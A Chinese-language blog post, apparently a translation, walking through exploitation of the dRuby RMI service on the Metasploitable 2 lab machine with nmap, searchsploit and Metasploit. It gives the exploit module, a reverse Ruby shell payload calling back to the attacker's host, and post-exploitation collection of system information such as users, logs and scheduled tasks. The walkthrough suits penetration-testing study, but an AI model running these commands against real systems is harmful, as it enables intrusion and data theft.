最新消息:

漏洞利用之dRuby RMI Server 1.8 0 – Metasploitable 2

原创翻译 Eternal 5621浏览 0评论

在这篇文章中,我们将通过一个 dRuby 上的远程代码执行漏洞,来利用 Metasploitable 2 上运行的 dRuby RMI 服务。 dRuby 是由 Ruby 语言编写的,为 Ruby 语言提供分布式对象系统和共享元组空间功能的, 并且也作为 Ruby 标准库的一部分使用。druby 使用自己的协议,并结合本身一个 URI ,例如:druby://example.com 端口为 8787。而 8787 端口不包含在 Nmap 默认扫描的 1000 个常见端口内,因此如果我们使用默认的方式扫描,将无法扫描到该服务端口。如果想扫描到 8787 端口,我们可以使用 -p- 参数,来实现全部端口的扫描,或指定一个包含 8787 端口的扫描范围。这个例子告诉我们,做一次完整的扫描,是多么的必要!

dRuby RMI Server 1.8 漏洞之Metasploit利用

我们将使用 Nmap 扫描 dRuby 的 8787 端口,然后再做一个漏洞评估。接着,我们就使用 Metasploit 来利用 dRuby RMI serve 的漏洞。

Nmap 8787端口扫描

我们使用以下命令,对 Metasploitable 的 8787 端口进行扫描:

nmap -sV [IP] -p8787

hacking-druby-rmi-server-1-8-1

可以看到 8787 端口处于开放状态,并且运行着 Ruby DRb RMI 服务,其版本为 1.8 版。下面我们使用 kali 的 searchsploit 来查找,关于该 Ruby DRb RMI 服务版本的可利用程序。

Searchsploit dRuby exploits

我们使用以下命令查询:

searchsploit -e Ruby DRb RMI

exploiting-druby-rmi-server-1-8-2

可以看到精确匹配,并没有查询到我们想要的结果。因此,我们可以使用模糊查询的方式。我们可以逐步减少我们搜索的关键字,例如:去掉 RMI 或再去掉 DRb 。相反,当我们模糊查询返回的结果过时,我们可以通过添加关键字来缩小范围。例如:我查询 “wordpress”有 100 多个结果返回。而当我查询“wordpress 3”则有 9 个返回结果!

当我们执行以下命令,返回的结果少于 30 个:

searchsploit ruby

exploiting-druby-rmi-server-1-8-3

从以上结果我们可以看到,有 2 个关于 Distributed Ruby 的 exploits 。我们来缩小我们的搜索范围:

searchsploit -e distributed Ruby

-e: 只显示与搜索精确匹配的结果。

exploiting-druby-rmi-server-1-8-4

让我们查看下 instance_eval/syscall 这个 exploit 的一些额外信息。我们使用 -p 参数,可以看到该 exploit 的具体路径,并被复制到了剪贴板上。

searchsploit -p 17058

exploiting-druby-rmi-server-1-8-5

接着我们来查看下该 exploit 的具体内容。命令如下:

cat /usr/share/exploitdb/platforms/linux/remote/17058.rb

exploiting-druby-rmi-server-1-8-6

Metasploit: dRuby RMI server 1.8 之利用

可以看到我们正在处理一个有关 Metasploit 的 exploit ,因此现在让我们启动 msfconsole 。命令如下:

msfconsole

我们使用以下命令查找该 exploit :

search name:Distributed Ruby Send instance_eval/syscall Code Execution

exploiting-druby-rmi-server-1-8-7

使用该 exploit :

use exploit/linux/misc/drb_remote_codeexec

配置其反弹 shell 载荷:

set payload cmd/unix/reverse_ruby

使用 options 命令查看可用选项:

exploiting-druby-rmi-server-1-8-8

设置反弹连接的主机 IP :

set LHOST [IP attack box]

设置 URI :

set URI druby://[Target IP]:8787

下面我我们就可以执行该 exploit 了,如果一切正常,那么我们将会取得一个反弹 shell :

exploiting-druby-rmi-server-1-8-9

后渗透之信息收集

我们按 CTRL + Z ,返回当前会话 并输入 y 确定:

exploiting-druby-rmi-server-1-8-10

接着我们选择使用 enum_system 模块,命令如下:

use enum_system

输入 info 命令来查看该模块的详细介绍:

exploiting-druby-rmi-server-1-8-11

从描述中我们可以知道,该模块是用来收集系统信息的。例如:已安装的软件包,安装哪些服务,挂载信息,用户列表,日志文件,计划任务等信息。

想要使用该模块,就必须设置一个处于活动状态的会话,命令如下:

set session 1

执行:

run

exploiting-druby-rmi-server-1-8-12

可以看到,所有收集到的信息,都被下载并保存到了攻击者电脑的 /root/.msf4/loot/ 目录下。

教训及经验总结:

1. 当我使用 Nmap 时,应当做一个更加全面的端口扫描,避免一些关键信息的遗漏。

2. 当我们使用 searchsploit 进行漏洞查询时,应当学会如何高效的利用关键字检索。如果没有搜出结果,并不代表就不存在该漏洞,可能是你的关键字没选对。

3. 当我们取得一个 shell 后,我们的目的还没有达到,后渗透阶段的信息收集及权限的提升,对我们的渗透工作至关重要!

 

转载请注明:即刻安全 » 漏洞利用之dRuby RMI Server 1.8 0 – Metasploitable 2

您必须 登录 才能发表评论!



合作伙伴